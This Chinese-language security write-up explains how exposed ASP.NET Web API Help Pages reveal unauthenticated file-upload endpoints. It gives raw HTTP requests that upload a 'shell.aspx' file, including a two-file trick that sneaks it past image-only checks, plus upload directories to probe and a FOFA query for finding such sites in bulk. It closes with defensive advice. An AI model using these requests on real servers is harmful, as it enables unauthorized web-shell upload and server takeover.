利用ASP.NET Web API Help Page文件上传
字数 1154 2025-08-26 22:11:29
ASP.NET Web API Help Page 文件上传漏洞分析与利用
0x00 漏洞概述
ASP.NET Web API Help Page 是微软提供的一个自动生成API帮助文档的功能模块,旨在帮助开发者了解如何调用Web API。然而,当开发人员未正确配置访问权限时,攻击者可能利用帮助页面中暴露的文件上传接口实现未授权文件上传,进而获取服务器控制权限。
0x01 漏洞背景
ASP.NET Web API Help Page 简介
根据微软官方文档:
- 帮助页面自动生成站点上Web API的内容
- 访问者可以使用这些内容学习如何调用Web API
- 所有生成的内容都可以使用ASP.NET MVC和Razor完全自定义
- 是任何ASP.NET Web API项目的绝佳补充
典型帮助页面外观:
- 包含API方法描述的页面
- 包含请求/响应示例的详细文档
0x02 漏洞发现与利用
寻找上传接口
-
在帮助页面中搜索关键词:
- "upload"
- "上传"
- "file"
- "文件"
-
常见发现:
- 直接暴露的文件上传接口描述
- 图片上传功能接口
利用工具准备
Postman - 用于构造和发送HTTP请求:
- 模拟各类HTTP请求(GET/POST/PUT/DELETE等)
- 直观显示接口返回结果
- 支持多种数据格式(JSON/form-data等)
文件上传构造方法
方法一:直接文件上传
- 构造POST请求:
POST /api/Files/PostFiles HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="shell.aspx"
Content-Type: application/octet-stream
<% response.write("Hello World") %>
------WebKitFormBoundary7MA4YWxkTrZu0gW--
- 上传后可能需要Fuzz常见上传目录:
- /UpLoadFiles/
- /upload/
- /Uploads/
- /Files/
方法二:双文件上传绕过
当接口限制只能上传图片时,可尝试双文件上传绕过:
- 构造包含恶意文件和合法图片的请求:
POST /api/UpLoadImgToNews HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file1"; filename="shell.aspx"
Content-Type: application/octet-stream
<% response.write("Hello World") %>
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file2"; filename="normal.jpg"
Content-Type: image/jpeg
[合法的JPEG文件二进制数据]
------WebKitFormBoundary7MA4YWxkTrZu0gW--
- 服务器可能返回图片路径,但实际两个文件都已上传:
- 响应示例:
"/upload/20220907/normal.jpg" - 实际木马路径:
/upload/20220907/shell.aspx
- 响应示例:
0x03 批量发现方法
FOFA搜索语法
"Web API " && icon_hash="1772087922"
识别特征
- 帮助页面通常包含:
- API方法描述
- 请求/响应示例
- 参数说明
- 常见路径:
- /Help
- /api/help
- /swagger
- /swagger/ui
0x04 防御建议
-
权限控制:
- 为所有上传接口添加身份验证
- 实现基于角色的访问控制(RBAC)
-
文件上传限制:
- 验证文件类型(白名单方式)
- 限制文件扩展名
- 扫描上传内容是否包含恶意代码
-
帮助页面配置:
- 生产环境禁用或限制访问帮助页面
- 使用自定义授权筛选器保护帮助页面
-
服务器配置:
- 上传目录设置为不可执行
- 定期审计上传文件内容